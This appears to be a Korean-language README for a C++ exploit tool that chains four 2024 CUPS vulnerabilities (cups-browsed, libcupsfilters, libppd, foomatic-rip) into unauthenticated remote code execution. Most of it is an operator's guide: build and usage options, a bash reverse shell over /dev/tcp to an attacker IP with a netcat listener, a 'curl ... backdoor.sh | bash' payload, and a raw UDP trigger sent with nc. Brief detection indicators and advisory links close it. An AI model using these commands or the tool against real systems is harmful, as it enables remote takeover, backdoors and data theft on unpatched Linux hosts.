
CVE-2024-47176 체인을 통한 CUPS 무인증 원격 코드 실행용 C++ 익스플로잇.
2024년 9월에 발견된 CUPS(Common Unix Printing System) 원격 코드 실행 취약점 체인을 대상으로 하는 완전히 동작하는 개념 증명 익스플로잇입니다. 이 체인은 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 네 가지 CVE로 구성되며, 이들이 결합되어 취약한 버전의 CUPS를 실행 중인 모든 Linux 시스템에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있게 합니다.
이 익스플로잇은 네트워크 프린터를 가장하는 악성 IPP(Internet Printing Protocol) 서버를 배포합니다. 공격은 4단계로 진행됩니다:
1단계 — 발견 트리거 조작된 UDP 패킷이 대상의 631번 포트로 전송됩니다. cups-browsed 데몬은 이 패킷을 인증 없이 신뢰하고, 프린터 속성을 가져오기 위해 공격자의 IPP 서버로 TCP 연결을 다시 시작합니다.
2단계 — 악성 PPD 전달 공격자의 IPP 서버는 검증되지 않은 데이터가 포함된 프린터 속성으로 응답합니다. 이 데이터는 libcupsfilters와 libppd를 거쳐 흐르는데, 이들은 입력을 검증하거나 삭제하지 않아 악성 FoomaticRIPCommandLine 지시문이 PPD 파일에 삽입될 수 있게 합니다.
3단계 — 명령 삽입 인쇄 작업이 공격자가 제어하는 프린터로 전송되면(자동으로 또는 사용자 작업에 의해), foomatic-rip 필터가 PPD 파일을 처리하고 삽입된 명령을 lp 사용자의 권한으로 실행합니다.
4단계 — 페이로드 실행 삽입된 명령이 대상 시스템에서 실행됩니다. 일반적인 페이로드로는 리버스 셸, 백도어 설치, 데이터 유출 또는 권한 상승 준비가 있습니다.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
대부분의 Linux 배포판은 2024년 후반 패치까지 영향을 받는 버전을 포함하여 배포했습니다.
g++ 및 표준 개발 도구가 설치된 Linux 머신 대상에 대한 네트워크 접근(UDP 631 포트에 도달 가능해야 함) 대상이 UDP 631에서 수신 대기 중인 cups-browsed를 실행 중이어야 함 631 포트 바인딩에는 root 또는 sudo 권장(또는 1631과 같은 높은 포트 사용)
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
외부 종속성 없음. g++이 설치된 모든 Linux 배포판에서 컴파일됩니다.
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener 악성 IPP 서버용 공격자 IP 주소 -r, --reverse 대상에서 실행할 명령 또는 스크립트 파일 경로 -t, --target 대상 머신 IP(트리거 UDP 패킷을 자동으로 전송) -p, --port 악성 IPP 서버 포트(기본값: 631) -s, --spoof 프린터 스푸프 이름(기본값: VulnPrinter) -T, --target-port 대상 UDP 포트(기본값: 631) -h, --help 도움말 메시지 표시
터미널 1 — 리스너 시작: nc -lvnp 4444
터미널 2 — 익스플로잇 실행: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
터미널 1 — 서버 시작: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
터미널 2 — 대상에 UDP 트리거 전송: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
1단계: 공격자 머신에 netcat 리스너 설정 nc -lvnp 4444
2단계: 익스플로잇 컴파일 g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
3단계: 대상에 익스플로잇 실행 ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
4단계: 대상 머신의 사용자가 테스트 페이지나 문서를 악성 프린터로 인쇄하면 lp 사용자 권한의 리버스 셸을 얻습니다.
IPP URI 문자열이 포함된 631번 포트로의 예상치 못한 UDP 패킷 cups-browsed에서 알 수 없는 호스트의 631번 포트로 향하는 나가는 TCP 연결 CUPS 웹 인터페이스에 알 수 없는 프린터가 자동으로 나타남 foomatic-rip 또는 lp 사용자에 의해 생성된 프로세스
법적 고지
이 소프트웨어는 교육 및 연구 목적으로만 제공됩니다. 보안 전문가, 침투 테스터 및 시스템 관리자가 설명된 취약점을 이해하고, 탐지하고, 방어하는 데 도움을 주기 위한 것입니다.
소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 이 익스플로잇을 무단으로 사용하는 것은 불법이며, Computer Fraud and Abuse Act(CFAA), Computer Misuse Act 및 기타 관할권의 유사 법률을 위반할 수 있습니다.
승인된 사용 사례에는 소유한 시스템에 대한 보안 평가, 서면 승인을 받은 침투 테스트, 명시적 범위가 있는 버그 바운티 프로그램, 통제된 실험실 환경에서의 학술 연구 및 CTF 대회가 포함됩니다.
저자는 이 소프트웨어의 오용이나 이로 인한 피해에 대해 어떠한 책임도 지지 않습니다. 사용자는 모든 관련 법률을 준수하고 테스트 전에 적절한 승인을 받을 책임이 전적으로 있습니다.
이 소프트웨어를 사용함으로써 귀하는 다음 조건에 동의합니다.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org